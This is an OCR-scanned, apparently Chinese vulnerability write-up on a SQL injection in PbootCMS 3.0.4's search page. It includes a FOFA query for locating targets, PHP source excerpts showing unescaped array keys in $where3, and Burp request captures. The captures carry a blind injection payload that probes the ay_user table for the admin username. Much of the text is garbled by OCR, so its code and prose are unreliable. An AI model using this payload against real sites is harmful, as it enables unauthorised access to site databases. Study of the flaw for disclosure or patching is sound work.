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PbootCMS 3.0.4

FOFA

app="PBOOTCMS"

R
R

apps\home\controller\ParserController.php
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function wh

(! $where) {

et( gl[ ‘where']) Sthis->sql[ 'where']) {
->sql[ "where’] "' . $outConnect . '(';

-»5ql[ ‘where"] "WHERE( " ;
(is_array($where)) {
$where_string
$flag a
($uwhere o= $key —> $value) {
($flag) {
$where_string t $inConnect

I

L
$flag - true;
(! is_int($key)) {

(Pruzzyy {

$where_string $key . " like "%" . $value . "%

1 I
J L

$uwhere_string $key . "="" . $value
3
1
$where_string $value;

-»sql[ ‘where"] $where_string

-»sql[ "where"] $where . ')";

fg Qingyz &%

SEENZE Swhere B—THAENTIEDEE, = Swhere E— 1 RSIEEK

MyJ: $where_string.=$value,
B TEE] "Swhere” REIFREZIBHIAIE N RS | EVAN I

pbootcms\static\backup\sql\0@cb2353f8ea80b398754308f15d1121e_20200705235534_pbo
otcms.sql

£ “parserSearchlLabel()” 57EF, EAREIEH DEEIZE “$receive” HITIE
“Skey A “request()” FATITIE.

function parserSearchlabel(}

$pattern - '/\{pboot: rch(\s+["31+)2\3([\s\51*2)\{\/pboot :search\}/"
$pattern2 *f\[searc h ([ \w] S )

(preg_mat all($patter $content :’nmatche N1

$count unt($matches[0]);

$field request(’field
q
(! preg_match("/*[\w\|\s]+%/", $Ffield)) {
$field - *';

1

J

$keyword = request('keyword', "vars');
$scode = request(’scode’);

$start = 1;
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(! preg_match("/"[\w,\s]+$/", $scode)) { .
$scode % QInEYZEi

>

($_POST) {
$receive - § POST;

{
$receive $_GET;

($receive Fhkeey $fvaluel {
( pvalue - request($key, 'vars’)} {
(pkey TItie™ Ty
$key "a.title’;

(pree match( "/ [N\ -\ 1+%5/", $key)) {
$where3[$key] $value;

ﬁ QingyZ &=

[function request(ffname, $type - null, $require
{
(isset($_POST[$name])) {
$d_source ‘post”;
1 {

$d_source ‘get’;
3

$condition = array(
'd_source’ $d_source,
'd_type’ $type,
‘d_require’ $require,
$name $vartext,
'd_default’ $default

filter($name, $condition); % angyzgfﬁ

[function filter($varname, $condition)

{

(array_key exists($varname, $condition) $condition[$varname]) {
$vartext - $condition[$varname];

{

$vartext - $varname;

(array_key exists('d_source®’, $condition)) {
($condition[ "d_source’]) {
"postT:
$data % POST[$varname];

¥
TEELCT
$data % _GET[$varname];

¥

"cookie': 0 -
fdata $_COOKIE[$varname]; % ngyz;t%

»
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(is_string($data))
$data - trim(%data);
r

1
$data $varname;

(array_key exists('d type', $condition)) {
($condition['d _type']) {
"int":
(! preg_match('/"[0-9]+%/", $data)) {
$err :

3
"float':
(! is_float($data)) {

‘vars':
(! preg_match("/

ferr ‘HESSH,

(is_string(%$data)) {

$data - trim($data);

$data - preg replace r{ /(x3c)|(x3e)/", ", $data);

$data - preg_replace_r{ /pboot:if/i’, 'pboot@if’, $data);
$data = preg_replace_r{'/GET\[/i', 'GET@[', $data);

$data = preg_replace_r{'/POST\[/i', 'POST@[', %data);

unset{$err);

escape_string($data);
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[function
I
L

(! $string)
f$string;
(is_array($string)) {
($string Skey $value) {
$string[$key] = escape string($value);

(is_object($string)) {
($string Skey $value) {
$string->%key = escape string($value);
1
7

I
L

$string = htmlspecialchars(trim($string), ENT_QUOTES, "UTF-8');

$string = addslashes($string);

$string;

B LA AEANRS

e Qingyz e

SHNEREEEPX. FE. HF. KFE. R 25

&1 BH “htmispecialchars()” #1“addslashes()’ w5, =&, ©HRILZIEE

“Swhere3”,

$paging

$data odel -> ists($scode, $num, %$order, $wherel, $where2, $where3, $fuzzy, $start, §

1field, $1g);

1
I
r

1field, $lg);

$ext_table - f

($1field) {

$1field ', ink,type,scode,sortfilename,filename, urlname”;

$fields ex , $lfield);

$fields ni i
($fields $key $value) {
(strpos($value, "ext_ ') @) {
$ext_table = true;
$fields[$key] ‘e.' . $value;

= - ST I

1t::table( ay_content a’)-»>field($fields)
($scode_arr, "OR")
($where)
here($select, "AND', "AND", $fuzzy)
here($filter, "OR")
here($tags, 'OR")
oin)

1 = [m]
$da“(a >model ->getlist($scode, $num, $order, $wherel, $wherel, $wh&$@“’;gy52r#¢

% Qingyzr &2
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{ ., $num, $start)

& Qingyz =22

\N
1

“getlists()"FAY "$where3” ZrRIIERY, BAFEA "and” IENHNIEG), P&
SR T SQL JEAN,

Zith S

FIABURER sqlite, A TNMNAE, FMEER mysql FUEEZREIAUEE.,
mysqgl BUEEB %

pbootcms\static\backup\sql\@cb2353f8ea80b398754308f15d1121e_20200705235534_pbo
otcms.sql

D 2222 phootCMS-#AFFE X + =

< C @ 127.00.1/pbootcms/index.php?p=search o

[2) PBOOTCMS sm  sEEn  FAGo  Rm0  ESEN  mEar  meSE BRSO 28/BR

BRER

(-, Qingy 2% %

Z R, B POST U RIZRS I, B RIBENAHFIEEMN
“and” BOEIEN “where” &4

D ®Ea® pbootcMS-#AFFE X | 4+ -

< C @ 127.0.0.1/pbootcms/index.php?p=search o

@?399T§N5 =m  oSEN  FARL  FRGO  ESSH  ESst  SEes BRSO S8/ B2

(- Qingy 2%
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S 0 B

« ¢ @ © & 172.16.25.42/pbootcms/ind
] =

[ PBoOTCMS " - = _ , o ; “

A - 1 !
AT, i et ! . 3 -
t,, o e et y My
 O=Fs Dess D& HAs (rEsss O OAF O&R  A8Sia @ Hedsar §f WEEF | EditThisCookie
Encryp + Encoding~ SQL = X - Flv XXE~ ther «
& Lo3d URL http /17 ootcms/index php?p=search
’; Spit URL
) Execuin B4 Postdata [J Referer [J User Agemt [J Cookies ear Al - . |
- s A AL
ADOT 1 AT ::].é/’. =

Target: http:ii172.16.25.42 [ﬁJ ]

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST /pbootems/index. php?p=search HTTP/Ll.1 A HITP/1l.1 Z00 0K

Host: 172.18.25.4C a Date: Tue, 0F Mar Z0Z1 03:19:3% GHT

Pragma: no-cache Server: Apache/Z.4.23 (Win3I) OpenSSL/1.0.Z23
Cache-Control: no-cache

wod_feogidsZ 3.9
Upgrade-Insecure-Requests: 1

¥-UA-Conmpatible: IE=edge,chrome=l
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.3& ¥-Powered-By: PbootCMS
(FHTHML, like Gecko) Chrome/B8&.0.4240.183 Safari/537.3& Expires: Thu, 19 Nov 1981 08:5I2:00 GMT
Accept: Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0
Pragma: no-cache

text/htul, applications/xhtml+xml, applicaction/xmnl;q=0.9, inage/avif, inage/we
bp,inage/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;gq=0.9

Cookie: lg=cn; PhootSystem=grpdré0dplileTgaimnnisdstd;
PHPSESSID=oinrbhngvhi3slledcuvubo fog4e

Connection: close

Content-Type: applica:ion,fx—vw—form—urlen:odadal

Commection: close

; charset=utf-g

<!doctype html>
Content-Length: 10 <html lang="zh"=>

<head>

e T e~ T
<meta charsec="uc. ") Q”J’;ﬂj,{./’,i

<title>0000-PbhootCMS-0000000PHPFOOO0000000000<,/Citle>

a¥

EESEDMELNE

<« ¢ @ O & 172.16.2542/pbootcms/index.php?
n -

[ PBOOTCMS - s

L+ ¢

¥l

EME DEE NAs eeEl Qe One Oea  TesRe @ vackes [ EEEF [ EditThisCookie

S nad LR T

P S——
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o VL 11 . 10 En i AP 1R S A T = ST

4 spiURL

» ) Executs -
[\ Emeass | [A Postdata [ Referer [ User Agent [ Cookies ear A

. P e
i Ao, ingy .l ze

Burp Intruder Repeater Window Help
[Tﬁrget Proxy | Spider T Scanner T Intruder TRepeatel T Sequencer T Decoder T Comparer T Extender ]’ Project options T User options. TAberts }
1 x
Go Cancel <|v >|r Target: http:i172.16.25.42 | || 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST /phootems/index php?p=search HTTE/L_1 n HTTE/L_1 200 0K Y
Host: 172.16.25.42 - Date: Tue, 05 Mar 2021 03:I1:03 GUT
Pragma: no-cache Server: Apache/Z 4 23 (Win32) OpenSSL/l.0.73
Cache-Control: no-cache wod fegid/Z2.3.9
TUpgrade-Insecure-Requests: 1 ¥-UA-Coupatible: IE=edge,chrome=1
User-Agent: Mozilla/E.0 (Windows NT 10.0; WOWE4) AppleWebFit/527.3& ¥-Powered-By: PhootCME
(FHTHML, like Gecko) ChromesS&.0.4240.183 Safari/537.3¢ Expires: Thu, 1% Nov 1381 08:52:00 GMT
Accept: Cache-Control: no-store, no-cache, must-revalidate,
text/htnl, application/xhtml+txnl,application/xml;q=0.%9, inage/avit, inage/we post-check=0, pre-check=0
bp,inage/apng, */*;q=0.8, application/signed-exchange,;v=h3;q=0_9 Pragma: no-cache
Accept-Language: zh-CH,zh;gq=0.9 Commection: close
Cockie: lg=cn; PhootSystem=gtpdrE0dplileTgadmmmisdstd; ; charset=utf-8
PHPSESSID=oinrbhngvhislledtuvrubo £q46
Cormectcion: close
Content-Type: application/x-www-form-urlencodeda <!doctype html>
Content-Length: 10 <html lang="zh">
<head>
1 <meta charset="utf-7  _ |
- H = TS
. G 'TJIFJE"{/'-"C—T—' -
v <title>0000-PbootCHS-0000000F b~ 005000 Lreieias v
| arch term 0 matches Fellelballs] Trpee 0 matches

BEE: BTFEIESTITE, RILReEER “ENRIAR” #1725 HLE, 5
l: “BRR = BRI UERTRRN ‘B E regepx OxXBEB12E2A”, Hr
“BEBI2E2A” 2" a"Wt D,

&« C @ © & 172.16.2542/pbootcms/index.php?p=search 5o -
|| | | | [ o ] |

? PBOOTCM BE  AFEN P=gari

FEREPHPE R

L et

T —
fodtib=sial fodiibERic HENTRR iEric AR [Tide=diap st
O D=F Pesle D EE N RE (JtREE Ous JaF B FE w TESRE @ HodkBar 3 WAEF [ EditThisCookie
Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~- Other~ SREARS: I&hEHR H

g Load URL http://172.16.25.42/pbootcms/index. php?p=search
4 spitURL

») Execute
[ Postdata [ Referer [J UserAgent [] Cookies Clear All

ADDr

1=select 1 from ay_user where username regexp 0x61646D692A
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Burp Intruder Repeater Window Help

[ Target I Proxy I Spider I Scanner I Intruder IRe,peate.r T Sequencer I Decoder I Comparer I Extender I Project options I User options IAlerts ]

1 = |2 =

G0

< v > | Target: http://172.16.25.42 @[

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex M Render
Host: L17I.18.25.4ZC |‘ HTTP/Ll.1 Z00 OK
Pragma: no-cache Date: Tue, 05 Mar Z0Z1 02:I8:35 CHMT
Cache-Control: no-cache Server: Apache/Z.4 (Win3Z) OpenS5L/1.0.23 mod fogid/Z. 3.9
Upgrade-Insecure—RBequests: 1 H-Uk-Compatible: IE=edge,chrome=1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) ¥-Powered-By: PhootCHS
AppleWebKit/537.36 (FHTML, like Gecko) Chrome/8£.0.4240.183 Expires: Thu, 1% Nov 1551 08:5I:00 GMT
Safari/£37. 26

Cache—Control: me-stors, mo-cache, must-revalidate,

Accept: post-check=0, pre-check=0
text/htnl,application/xhtultxnl ,application/xunl ;q=0.9, inage/avit Pragma: no-cache

, image /webp, imags/apng, */* ;q=0_8, application/signed-exchange;v= Commection: clase

b3;g=0.%9 antenb et itli] ; charset=utf-g

Accept-Language: zh-CN,zh;q=0.9

Cooki lg=cn; PhootSysten=gtpdré0dplileTgaiommnisdstd;
PHPSESSID=oinrbhngvhislledourubofg4e <!doctype html>
Connection: close

Content-Length: 14247

<htuml lang="zh">
Content-Type: application/x-www-form-urlencoded <head>

Content-Length: 58 <meta charset="utf-3"»

<t.it.lE>DDDD—D]]DDtCMS—DDDDDE_\ K‘T‘DFP}FFJUE‘PW_ ;_‘
=select 1 from ay user where uUsername regexp UxElE‘lEDES:A & <meta name="keywords" 4oL Ta e

[v content="cus,00cus,00cus, 00cus,O0cus ">

P RS EIERARNIKSEE T,
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